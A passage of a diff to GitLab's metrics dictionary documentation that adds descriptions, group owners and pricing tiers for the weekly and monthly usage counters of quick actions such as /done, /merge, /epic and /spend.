-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_done_monthly`
-Missing description
+Count of MAU using the `/done` quick action to mark a todo as done
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml)
@@ -11550,47 +12114,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_done_weekly`
-Missing description
+Count of WAU using the `/done` quick action to mark a todo as done
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_draft_monthly`
-Missing description
+Count of MAU using the `/draft` quick action on a Merge Request
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_draft_weekly`
-Missing description
+Count of WAU using the `/draft` quick action on a Merge Request
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_due_monthly`
-Missing description
+Count of MAU using the `/due` quick action to change the due date on an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml)
@@ -11598,23 +12162,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_due_weekly`
-Missing description
+Count of WAU using the `/due` quick action to change the due date on an issuable
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_duplicate_monthly`
-Missing description
+Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate of another
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml)
@@ -11622,35 +12186,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_duplicate_weekly`
-Missing description
+Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate of another
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_epic_monthly`
-Missing description
+Count of MAU using the `/epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_epic_weekly`
-Missing description
+Count of WAU using the `/epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181617_i_quickactions_epic_weekly.yml)
@@ -11658,11 +12222,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_estimate_monthly`
-Missing description
+Count of MAU using the `/estimate` quick action to set a time estimate on an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml)
@@ -11670,19 +12234,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_estimate_weekly`
-Missing description
+Count of WAU using the `/estimate` quick action to set a time estimate on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_monthly`
@@ -11692,7 +12256,7 @@ Unique users using the /invite_email quick action to add a multiple email partic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11716,7 +12280,7 @@ Unique users using the /invite_email quick action to add a single email particip
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11734,19 +12298,19 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_iteration_monthly`
-Missing description
+Count of MAU using the `/iteration` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_iteration_weekly`
-Missing description
+Count of WAU using the `/iteration` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181624_i_quickactions_iteration_weekly.yml)
@@ -11754,11 +12318,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_label_monthly`
-Missing description
+Count of MAU using the `/label` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml)
@@ -11766,23 +12330,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_label_weekly`
-Missing description
+Count of WAU using the `/label` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_lock_monthly`
-Missing description
+Count of MAU using the `/lock` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml)
@@ -11790,47 +12354,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_lock_weekly`
-Missing description
+Count of WAU using the `/lock` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_merge_monthly`
-Missing description
+Count of MAU using the `/merge` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_merge_weekly`
-Missing description
+Count of WAU using the `/merge` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_milestone_monthly`
-Missing description
+Count of MAU using the `/milestone` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml)
@@ -11838,23 +12402,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_milestone_weekly`
-Missing description
+Count of WAU using the `/milestone` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_move_monthly`
-Missing description
+Count of MAU using the `/move` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml)
@@ -11862,59 +12426,59 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_move_weekly`
-Missing description
+Count of WAU using the `/move` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_parent_epic_monthly`
-Missing description
+Count of MAU using the `/parent_epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_parent_epic_weekly`
-Missing description
+Count of WAU using the `/parent_epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181646_i_quickactions_parent_epic_weekly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_promote_monthly`
-Missing description
+Count of MAU using the `/promote` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_promote_weekly`
-Missing description
+Count of WAU using the `/promote` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181650_i_quickactions_promote_weekly.yml)
@@ -11922,35 +12486,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_publish_monthly`
-Missing description
+Count of MAU using the `/publish` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml)
-Group: `group::project management`
+Group: `group::monitor`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_publish_weekly`
-Missing description
+Count of WAU using the `/publish` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181654_i_quickactions_publish_weekly.yml)
-Group: `group::project management`
+Group: `group::monitor`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reassign_monthly`
-Missing description
+Count of MAU using the `/reassign @user1` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml)
@@ -11958,71 +12522,71 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_monthly`
-Missing description
+Count of MAU using the `/reassign_reviewer` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_weekly`
-Missing description
+Count of WAU using the `/reassign_reviewer` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reassign_weekly`
-Missing description
+Count of WAU using the `/reassign @user1` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_rebase_monthly`
-Missing description
+Count of MAU using the `/rebase` quick action on a Merge Request
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_rebase_weekly`
-Missing description
+Count of WAU using the `/rebase` quick action on a Merge Request
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_relabel_monthly`
-Missing description
+Count of MAU using the `/relabel` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml)
@@ -12030,23 +12594,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_relabel_weekly`
-Missing description
+Count of WAU using the `/relabel` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_relate_monthly`
-Missing description
+Count of MAU using the `/relate` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml)
@@ -12054,47 +12618,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_relate_weekly`
-Missing description
+Count of WAU using the `/relate` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_monthly`
-Missing description
+Count of MAU using the `/remove_child_epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_weekly`
-Missing description
+Count of WAU using the `/remove_child_epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181716_i_quickactions_remove_child_epic_weekly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_monthly`
-Missing description
+Count of MAU using the `/remove_due_date` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml)
@@ -12102,35 +12666,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_weekly`
-Missing description
+Count of WAU using the `/remove_due_date` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_epic_monthly`
-Missing description
+Count of MAU using the `/remove_epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_epic_weekly`
-Missing description
+Count of WAU using the `/remove_epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181723_i_quickactions_remove_epic_weekly.yml)
@@ -12138,11 +12702,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_monthly`
-Missing description
+Count of MAU using the `/remove_estimate` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml)
@@ -12150,35 +12714,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_weekly`
-Missing description
+Count of WAU using the `/remove_estimate` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_monthly`
-Missing description
+Count of MAU using the `/remove_iteration` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_weekly`
-Missing description
+Count of WAU using the `/remove_iteration` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181731_i_quickactions_remove_iteration_weekly.yml)
@@ -12186,11 +12750,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_monthly`
-Missing description
+Count of MAU using the `/remove_milestone` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml)
@@ -12198,47 +12762,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_weekly`
-Missing description
+Count of WAU using the `/remove_milestone` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_monthly`
-Missing description
+Count of MAU using the `/remove_parent_epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_weekly`
-Missing description
+Count of WAU using the `/remove_parent_epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181738_i_quickactions_remove_parent_epic_weekly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_monthly`
-Missing description
+Count of MAU using the `/remove_time_spent` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml)
@@ -12246,23 +12810,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_weekly`
-Missing description
+Count of WAU using the `/remove_time_spent` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_monthly`
-Missing description
+Count of MAU using the `/remove_zoom` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml)
@@ -12270,23 +12834,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_weekly`
-Missing description
+Count of WAU using the `/remove_zoom` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reopen_monthly`
-Missing description
+Count of MAU using the `/reopen` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml)
@@ -12294,23 +12858,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_reopen_weekly`
-Missing description
+Count of WAU using the `/reopen` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_shrug_monthly`
-Missing description
+Count of MAU using the `/shrug` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml)
@@ -12318,23 +12882,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_shrug_weekly`
-Missing description
+Count of WAU using the `/shrug` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_spend_add_monthly`
-Missing description
+Count of MAU using the `/spend` quick action to add time spent
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml)
@@ -12342,23 +12906,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_spend_add_weekly`
-Missing description
+Count of WAU using the `/spend` quick action to add time spent
